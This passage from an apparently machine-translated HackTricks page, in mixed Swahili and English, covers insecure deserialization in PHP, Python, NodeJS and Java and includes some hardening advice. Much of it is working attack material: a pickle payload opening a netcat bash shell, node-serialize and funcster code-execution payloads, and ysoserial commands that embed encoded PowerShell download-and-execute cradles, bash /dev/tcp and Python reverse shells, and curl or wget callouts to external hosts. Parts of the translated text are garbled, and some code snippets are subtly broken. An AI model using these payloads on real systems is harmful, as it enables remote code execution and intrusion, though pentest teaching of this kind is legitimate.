Deserialization

Reading time: 42 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

Serialization inafafanuliwa kama njia ya kubadilisha object katika muundo unaoweza kuhifadhiwa, kwa lengo la kuhifadhi object au kuuituma kama sehemu ya mchakato wa mawasiliano. Mbinu hii kawaida hutumika kuhakikisha kuwa object inaweza kuundwa upya baadaye, ikihifadhi muundo wake na hali yake.

Deserialization, kwa upande mwingine, ni mchakato unaopingana na serialization. Unahusisha kuchukua data iliyopangwa kwa muundo maalum na kuirejesha kuwa object.

Deserialization inaweza kuwa hatari kwa sababu inaweza kumruhusu mshambuliaji kuibadilisha data iliyoserialized ili kutekeleza code hatarishi au kusababisha tabia zisizotarajiwa kwenye application wakati wa mchakato wa kurejesha object.

PHP

In PHP, magic methods maalum hutumika wakati wa mchakato wa serialization na deserialization:

  • __sleep: Huitwa wakati object inaposerialized. Njia hii inapaswa kurudisha array ya majina ya properties zote za object ambazo zinapaswa kuserialized. Kawaida hutumika kuhifadhi data iliyosubiri au kufanya kazi za kusafisha zinazofanana.
  • __wakeup: Inaitwa wakati object inaposerialized tena (deserialized). Inatumika kuanzisha upya database connections ambazo zinaweza kuwa zimepotea wakati wa serialization na kufanya kazi nyingine za kuanzisha tena.
  • __unserialize: Njia hii inaitwa badala ya __wakeup (ikiwa ipo) wakati object inaposerialized tena. Inatoa udhibiti zaidi juu ya mchakato wa deserialization ikilinganishwa na __wakeup.
  • __destruct: Njia hii inaitwa wakati object iko karibu kuharibiwa au script inapomalizika. Kwa kawaida hutumika kwa kazi za kusafisha, kama kufunga file handles au database connections.
  • __toString: Njia hii inaruhusu object kutendewa kama string. Inaweza kutumika kusoma file au kutekeleza kazi nyingine zinazotegemea function calls ndani yake, na hivyo kutoa uwakilishi wa kimaandishi wa object.
php
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

If you look to the results you can see that the functions __wakeup and __destruct are called when the object is deserialized. Note that in several tutorials you will find that the __toString function is called when trying yo print some attribute, but apparently that's not happening anymore.

warning

Njia __unserialize(array $data) huitwa badala ya __wakeup() ikiwa imetekelezwa katika class. Inakuwezesha unserialize object kwa kutoa serialized data kama array. Unaweza kutumia njia hii ku-unserialize properties na kufanya kazi yoyote inayohitajika wakati wa deserialization.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Unaweza kusoma mfano wa PHP ulioelezewa hapa: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hapa https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf au hapa https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Unaweza kutumia vibaya uwezo wa PHP autoload kupakia faili za php yoyote na zaidi:

PHP - Deserialization + Autoload Classes

Kuserializa Thamani Zilizorejelewa

Ikiwa kwa sababu fulani unataka kuserializa thamani kama a reference to another value serialized you can:

php
<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Kuzuia PHP Object Injection na allowed_classes

info

Uungwaji mkono wa second argument ya unserialize() (the $options array) uliongezwa katika PHP 7.0. Katika toleo za zamani kazi hii inakubali tu the serialized string, na hivyo haiwezekani kuzuia ni madarasa gani may be instantiated.

unserialize() itafanya instantiate every class itakayotafuta ndani ya serialized stream isipokuwa ikaambiwe vingine. Tangu PHP 7, tabia inaweza kuzuiawa kwa chaguo allowed_classes:

php
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Ikiwa allowed_classes imeachwa au msimbo unakimbia kwenye PHP < 7.0, wito unakuwa hatari kwani mshambuliaji anaweza kutengeneza payload inayotumia magic methods kama __wakeup() au __destruct() ili kupata Remote Code Execution (RCE).

Mfano wa ulimwengu wa kweli: Everest Forms (WordPress) CVE-2025-52709

Plugin ya WordPress Everest Forms ≤ 3.2.2 ilijaribu kujilinda kwa wrapper ya msaada lakini ilisahau matoleo ya zamani ya PHP:

php
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Katika seva ambazo bado zilikuwa zikiendesha PHP ≤ 7.0, tawi hili la pili lilisababisha PHP Object Injection ya kawaida wakati msimamizi alifungua uwasilishaji wa fomu yenye madhara. Minimal exploit payload inaweza kuonekana kama:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Mara tu admin alipotazama ingizo, object ilianzishwa na SomeClass::__destruct() ilitekelezwa, ikasababisha utekaji wa msimbo wa hiari.

Mambo Muhimu

  1. Daima pitisha ['allowed_classes' => false] (au orodha nyeupe kali) unaponuita unserialize().
  2. Audit defensive wrappers – mara nyingi husahau matawi ya zamani ya PHP.
  3. Kuboresha kwenda PHP ≥ 7.x pekee si za kutosha: chaguo bado lazima itolewe wazi.

PHPGGC (ysoserial for PHP)

PHPGGC inaweza kukusaidia kutengeneza payloads za kuabusu PHP deserializations.
Kumbuka kwamba katika baadhi ya kesi huwezi kupata njia ya kuabusu deserialization katika source code ya programu, lakini unaweza kuwa na uwezo wa kuabusu code ya extensions za nje za PHP.
Kwa hivyo, ikiwa unaweza, angalia phpinfo() ya server na tafuta mtandaoni (na hata kwenye gadgets za PHPGGC) baadhi ya gadget ambazo unaweza kuabusu.

phar:// metadata deserialization

Ikiwa umepata LFI inayosoma tu faili na haitekelezi php code ndani yake, kwa mfano kwa kutumia functions kama file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Unaweza kujaribu kuabusu deserialization inayotokea wakati wa kusoma faili kwa kutumia protocol ya phar.
Kwa taarifa zaidi soma chapisho lifuatalo:

phar:// deserialization

Python

Pickle

Wakati object inapoundwa tena kwa unpickle, function ___reduce___ itatekelezwa.
Ikiitumiwa (exploited), server inaweza kurudisha kosa.

python
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Kabla ya kuangalia the bypass technique, jaribu kutumia print(base64.b64encode(pickle.dumps(P(),2))) ili kuunda object inayolingana na python2 ikiwa unatumia python3.

Kwa habari zaidi kuhusu kukimbia kutoka kwa pickle jails angalia:

Bypass Python sandboxes

Yaml & jsonpickle

Ukurasa ufuatao unaonyesha mbinu ya abuse an unsafe deserialization in yamls katika maktaba za Python na unamaliza na chombo kinachoweza kutumika kuunda payload za RCE za deserialization kwa Pickle, PyYAML, jsonpickle and ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS doesn't have "magic" functions kama PHP au Python ambazo zitaendeshwa tu kwa ajili ya kuunda object. Lakini ina baadhi ya functions ambazo hutumika mara kwa mara hata bila kuziita moja kwa moja kama toString, valueOf, toJSON.
Ikiwa ukitumia deserialization vibaya unaweza kudanganya hizi functions ili kuendesha code nyingine (inawezekana kwa kutumia prototype pollutions) hivyo unaweza kuendesha code yoyote inapoitwa.

Njia nyingine ya "magic" way to call a function bila kuiita moja kwa moja ni kwa kuharibu object inayorejeshwa na async function (promise). Kwa sababu, ikiwa utatransform ile return object kuwa promise nyingine yenye property called "then" of type function, itatekelezwa tu kwa sababu inarejeshwa na promise nyingine. Follow this link for more info.

javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

Ikiwa unataka kujifunza kuhusu mbinu hii tazama mafunzo yafuatayo:

NodeJS - proto & prototype Pollution

node-serialize

Maktaba hii inaruhusu ku-serialise functions. Mfano:

javascript
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

Kitu kilichoserialishwa kitaonekana kama:

bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

Kama unavyoona katika sehemu ya mwisho ya code, ikiwa bendera inapopatikana eval inatumiwa kufanya deserialize ya function, kwa hivyo kwa msingi user input inatumika ndani ya eval function.

Hata hivyo, just serialising a function won't execute it kwa sababu itabidi sehemu ya code iwe inafanya call ya y.rce katika mfano wetu na hiyo ni kwa kiasi kikubwa haivozekani.
Walau, unaweza tu modify the serialised object kwa kuongeza mabano ili kuitekeleza moja kwa moja function iliyoserialized wakati object itakapofanyiwa deserialize.
Katika kipande kinachofuata cha code notice the last parenthesis na jinsi unserialize function itakavyotekeleza code hiyo moja kwa moja:

javascript
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Kama ilivyotajwa hapo awali, maktaba hii itachukua msimbo uliopo baada ya _$$ND_FUNC$$_ na itaufanya execute it kwa kutumia eval. Kwa hivyo, ili auto-execute code unaweza delete the function creation na parenthesis ya mwisho, na just execute a JS oneliner kama katika mfano ufuatao:

javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

Unaweza find here taarifa zaidi kuhusu jinsi ya exploit this vulnerability.

funcster

Sehemu ya kupendeza ya funcster ni kutokuwepo kwa ufikikaji wa vitu vilivyojengwa vya kawaida; viko nje ya eneo linaloweza kufikiwa. Kizuizi hiki kinazuia utekelezaji wa code inayojaribu kuitisha methods kwenye vitu vilivyojengwa, na kusababisha exceptions kama "ReferenceError: console is not defined" wakati amri kama console.log() au require(something) zinapotumika.

Licha ya kizuizi hiki, kurejeshwa kwa ufikaji kamili wa global context, ikiwa ni pamoja na vitu vyote vilivyojengwa vya kawaida, inawezekana kwa njia maalum. Kwa kutumia global context moja kwa moja, mtu anaweza kupitisha kizuizi hiki. Kwa mfano, ufikaji unaweza kurejeshwa kwa kutumia snippet ifuatayo:

javascript
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Kwa more information read this source.

serialize-javascript

Kifurushi cha serialize-javascript kimeundwa mahsusi kwa ajili ya serialization pekee; hakina uwezo wowote wa deserialization uliojengewa ndani. Watumiaji wanawajibika kutekeleza njia zao za deserialization. Mfano rasmi unapendekeza matumizi ya moja kwa moja ya eval kwa ajili ya deserializing serialized data:

javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Ikiwa function hii inatumiwa ku-deserialize objects, unaweza kwa urahisi exploit it:

javascript
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Kwa maelezo zaidi soma chanzo hiki.

Cryo library

Kwenye kurasa zifuatazo unaweza kupata taarifa kuhusu jinsi ya kutumia library hii kutekeleza amri yoyote:

Java - HTTP

Katika Java, deserialization callbacks are executed during the process of deserialization. Utekelezaji huu unaweza kutumiwa na wadukuzi wanaotengeneza payloads zilizo hatarishi ambazo zinawasha callbacks hizi, na kusababisha uwezekano wa utekelezaji wa vitendo hatarishi.

Fingerprints

White Box

Ili kubaini udhaifu unaowezekana wa serialization katika codebase, tafuta:

  • Madarasa yanayotekeleza interface ya Serializable.
  • Matumizi ya java.io.ObjectInputStream, readObject, readUnshare functions.

Lipa umakini zaidi kwa:

  • XMLDecoder inayotumika na vigezo vinavyowekwa na watumiaji wa nje.
  • Mbinu ya fromXML ya XStream, hasa ikiwa toleo la XStream ni dogo au sawa na 1.46, kwani linaweza kuathirika na matatizo ya serialization.
  • ObjectInputStream pamoja na method ya readObject.
  • Utekelezaji wa methods kama readObject, readObjectNodData, readResolve, au readExternal.
  • ObjectInputStream.readUnshared.
  • Matumizi kwa ujumla ya Serializable.

Black Box

Kwa upimaji wa black box, angalia signatures au "Magic Bytes" maalum zinazotambulisha java serialized objects (zinazoanzia kutoka ObjectInputStream):

  • Muundo wa hexadecimal: AC ED 00 05.
  • Muundo wa Base64: rO0.
  • HTTP response headers zenye Content-type imesetwa kuwa application/x-java-serialized-object.
  • Muundo wa hexadecimal unaoonyesha compression kabla: 1F 8B 08 00.
  • Muundo wa Base64 unaoonyesha compression kabla: H4sIA.
  • Faili za wavuti zenye ugani .faces na parameter faces.ViewState. Kugundua mifumo hii katika application ya wavuti kunapaswa kusababisha uchunguzi kama ilivyoelezwa katika chapisho kuhusu Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Angalia ikiwa kuna udhaifu

Ikiwa unataka learn about how does a Java Deserialized exploit work unapaswa kuangalia Basic Java Deserialization, Java DNS Deserialization, na CommonsCollection1 Payload.

SignedObject-gated deserialization and pre-auth reachability

Maktaba za kisasa za msimbo wakati mwingine huzungusha deserialization na java.security.SignedObject na validate a signature kabla ya kuita getObject() (ambayo deserializes the inner object). Hii inazuia arbitrary top-level gadget classes lakini inaweza bado kuwa exploitable ikiwa attacker anaweza kupata valid signature (e.g., private-key compromise or a signing oracle). Zaidi ya hayo, error-handling flows zinaweza mint session-bound tokens kwa unauthenticated users, zikifunua protected sinks ambazo vinginevyo zingewekwa salama pre-auth.

Kwa utafiti wa kesi maalum na requests, IoCs, na hardening guidance, angalia:

Java Signedobject Gated Deserialization

White Box Test

Unaweza kukagua ikiwa kuna programu yoyote iliyosakinishwa yenye udhaifu unaojulikana.

bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Unaweza kujaribu ku check all the libraries zinazojulikana kuwa zilizo na udhaifu na ambazo Ysoserial inaweza kutoa exploit kwa ajili yao. Au unaweza kuangalia maktaba zilizotajwa kwenye Java-Deserialization-Cheat-Sheet.
Unaweza pia kutumia gadgetinspector kutafuta possible gadget chains zinazoweza kutumika.
Unapotekeleza gadgetinspector (baada ya kuibuni) usijali kuhusu maelfu ya onyo/mahitilafu ambazo inazopitia na uiruhusu ikamilike. Itaandika matokeo yote chini ya gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Tafadhali, kumbuka kuwa gadgetinspector won't create an exploit and it may indicate false positives.

Mtihani wa Black Box

Ukivitumia extension ya Burp gadgetprobe unaweza kubaini ni maktaba gani zinapatikana (na hata versions). Kwa taarifa hii inaweza kuwa rahisi zaidi kuchagua payload ya ku-exploit udhaifu.
Read this to learn more about GadgetProbe.
GadgetProbe ni focused kwenye ObjectInputStream deserializations.

Ukivitumia extension ya Burp Java Deserialization Scanner unaweza identify vulnerable libraries zinazoweza ku-exploit kwa ysoserial na exploit hizo.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner inafocus kwenye ObjectInputStream deserializations.

Unaweza pia kutumia Freddy kugundua deserializations vulnerabilities ndani ya Burp. Plugin hii itagundua not only ObjectInputStream related vulnerabilities bali pia vulns kutoka kwa maktaba za deserialization za Json na Yml. Katika active mode, itajaribu kuzi-confirm kwa kutumia sleep au DNS payloads.
You can find more information about Freddy here.

Serialization Test

Sio kila kitu ni kuhusu kuangalia kama server inatumia maktaba zilizo na udhaifu. Wakati mwingine unaweza kuwa na uwezo wa change the data inside the serialized object and bypass some checks (huenda ikakupa admin privileges ndani ya webapp).
Ikiwa utapata java serialized object ikitumwa kwa web application, unaweza use SerializationDumper to print in a more human readable format the serialization object that is sent. Kujua ni data gani unazituma kutafanya iwe rahisi kuibadilisha na kupitisha baadhi ya checks.

Exploit

ysoserial

Chombo kikuu cha ku-exploit Java deserializations ni ysoserial (download here). Unaweza pia kuzingatia kutumia ysoseral-modified ambacho kitakuwezesha kutumia complex commands (kwa pipes kwa mfano).
Kumbuka chombo hiki ni focused kwenye ku-exploit ObjectInputStream.
Ningependekeza kuanza kutumia "URLDNS" payload kabla ya RCE payload ili kujaribu kama injection inawezekana. Hata hivyo, kumbuka kuwa inaweza kuwa payload ya "URLDNS" haifanyi kazi lakini payload nyingine ya RCE inaweza kufanya kazi.

bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Unapotengeneza payload kwa java.lang.Runtime.exec() huwezi kutumia herufi maalum kama ">" au "|" kupeleka matokeo ya utekelezaji, "$()" kutekeleza amri au hata kupitisha arguments kwa amri zilizo tofauti kwa spaces (unaweza kufanya echo -n "hello world" lakini huwezi kufanya python2 -c 'print "Hello world"'). Ili ku-encode payload kwa usahihi unaweza use this webpage.

Usisite kutumia script ifuatayo kuunda all the possible code execution payloads kwa Windows na Linux kisha kuzijaribu kwenye ukurasa wa wavuti ulio dhaifu:

python
import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Unaweza kutumia https://github.com/pwntester/SerialKillerBypassGadgetCollection pamoja na ysoserial kuunda exploits zaidi. Taarifa zaidi kuhusu zana hii ziko kwenye slides za mawasilisho ambapo zana ilitambulishwa: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec inaweza kutumika kutengeneza payloads za ku-exploit maktaba tofauti za serialization za Json na Yml katika Java.
Ili ku-compile project nilihitaji kuongeza hizi dependencies kwenye pom.xml:

html
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Sakinisha maven, na jenga mradi:

bash
sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Soma zaidi kuhusu maktaba hii ya Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Maabara

Kwa nini

Java inatumia serialization kwa wingi kwa madhumuni mbalimbali kama:

  • HTTP requests: Serialization inatumiwa sana katika usimamizi wa vigezo, ViewState, cookies, n.k.
  • RMI (Remote Method Invocation): Itifaki ya Java RMI, inayotegemea kabisa serialization, ni nguzo muhimu kwa mawasiliano ya mbali katika programu za Java.
  • RMI over HTTP: Njia hii kawaida hutumika na web applications za client nene zinazotegemea Java, ikitumia serialization kwa mawasiliano yote ya object.
  • JMX (Java Management Extensions): JMX inatumia serialization kutuma objects kupitia mtandao.
  • Custom Protocols: Katika Java, mazoea ya kawaida ni pamoja na uhamishaji wa raw Java objects, jambo litakaloonyeshwa katika mifano ya exploits zijazo.

Kuzuia

Transient objects

Darasa linaloimplements Serializable linaweza kuweka kama transient kitu chochote ndani ya darasa ambacho hakipaswi kuwa serializable. Kwa mfano:

java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Epuka kusanifisha darasa linalohitaji kutekeleza Serializable

Katika matukio ambapo baadhi ya vitu lazima vitekeleze kiolesura cha Serializable kutokana na hierarki ya madarasa, kuna hatari ya deserialization isiyokusudiwa. Ili kuzuia hili, hakikisha vitu hivi haviwezi kudeserializa kwa kufafanua method ya final readObject() ambayo kila mara inatoa exception, kama inavyoonyeshwa hapa chini:

java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Kuimarisha Usalama wa Deserialization katika Java

Customizing java.io.ObjectInputStream ni njia ya vitendo ya kuimarisha michakato ya deserialization. Njia hii inafaa pale:

  • Msimbo wa deserialization uko chini ya udhibiti wako.
  • Madarasa yanayotarajiwa kwa deserialization yanajulikana.

Fanya override ya resolveClass() method ili kupunguza deserialization kwa madarasa yaliyoruhusiwa tu. Hii inazuia deserialization ya darasa lolote isipokuwa yale yaliyoruhusiwa wazi, kama katika mfano ufuatao unaozuia deserialization kwa darasa la Bicycle tu:

java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Kutumia Java Agent kwa Uboreshaji wa Usalama hutoa suluhisho la dharura wakati mabadiliko ya code hayapowezekani. Njia hii inatumika hasa kwa blacklisting harmful classes, kwa kutumia parameter ya JVM:

-javaagent:name-of-agent.jar

Inatoa njia ya kuimarisha deserialization kwa njia ya dinamiki, inayofaa kwa mazingira ambapo mabadiliko ya haraka ya code hayawezekani.

Angalia mfano katika rO0 by Contrast Security

Kutekeleza Serialization Filters: Java 9 ilianzisha serialization filters kupitia kiolesura cha ObjectInputFilter, ikitoa mekanismo chenye nguvu cha kutaja vigezo vinavyopaswa kutimizwa na serialized objects kabla ya kutolewa (deserialized). Filters hizi zinaweza kutumika globally au kwa kila stream, zikitoa udhibiti wa kina juu ya mchakato wa deserialization.

Ili kutumia serialization filters, unaweza kuweka global filter inayotumika kwa shughuli zote za deserialization au kuisanidi kwa njia ya dinamiki kwa streams maalum. Kwa mfano:

java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

